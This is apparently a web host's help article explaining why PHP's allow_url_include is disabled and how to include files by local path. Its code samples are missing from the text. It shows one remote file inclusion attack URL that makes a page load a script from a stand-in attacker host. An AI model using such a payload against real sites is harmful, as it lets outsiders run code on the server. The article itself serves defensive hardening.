Allow url include

The PHP option  would normally allow a programmer to   a remote file (as PHP code) using a URL rather than a local file path. For security reasons, DreamHost has disabled this feature. If a script claims to require this feature, you should look into alternative software, as the use of this feature indicates serious design flaws.

Why is this bad?
There are a number of reasons why URL includes should be avoided:
 * 1) It is insecure. If your application can be tricked into including content from a URL outside itself (and there are a number of common ways this can happen!), an attacker can force your application to start running code from their own web site.
 * 2) It is inefficient. If your PHP script includes content from a URL, then the web server must make HTTP requests to generate the page. This will make your page load much more slowly than necessary, especially if the site you're loading content from is responding slowly!
 * 3) It is unreliable, for the same reasons: if the web server you are loading content from occasionally fails to respond, your web site will also sometimes fail to load properly!
 * 4) It is usually unnecessary. In most cases,   can be avoided either by including the content directly (if it is being loaded from a domain you host) or by loading and printing the content without evaluating it as PHP.

Server-Side Includes
Many developers include files by pointing to a remote URL, even if the file is within the local system. For example:  With  disabled, this method will not work. Instead, the file must be included with a local path, and there are three methods of doing this:


 * 1) By using a relative path, such as.
 * 2) By using an absolute path (also known as relative-from-root), such as.
 * 3) By using the PHP environment variable , which returns the absolute path to the web root directory. This is by far the best (and most portable) solution. The example that follows shows the environment variable in action:

Example Include


Processing Differences (and passing variables to an included file)
It is worth mentioning that the alternative solutions presented here will result in a difference in the way the  function is handled. The alternative solutions all return the PHP code from the included page; however, the now-unavailable remote URL method returns the result from the included page. One result of this behavior is that you cannot pass a query string using the alternative solutions. You define the variables locally before performing the include:

Example
To achieve the effect of this:  You must instead use this: 

Adding Flexibility
For maximum flexibility (when multiple includes are required, for example), it may be easier to create a variable:  Note: The technique works in the same way, regardless of whether you are using  or.

Setting the include_path
You can also explicitly set the PHP directive, "include_path", on the fly.



Example exploitation
A common use of server-side includes is for creating some sort of site template. Often, a single page with a header and a footer is fed differing content by using a query string. Here is a typical example script:    This page is easy to exploit

header...



footer...

The content of the page can be varied by appending a query string to the URL: http://example.com/index.php?page=varied.php If  is enabled, this system can be exploited by simply changing the value of the variable in the query string: http://example.com/index.php?page=http://crackerscum.net/evilscript.txt

Getting around it

 * 1) Just say no. Enabling  is a terrible idea that exposes your website, and the websites of others on your shared server, to unnecessary risk.
 * 2) If absolutely required, you can modify this setting by using your own customized php.ini or installing your own version of PHP and enabling it.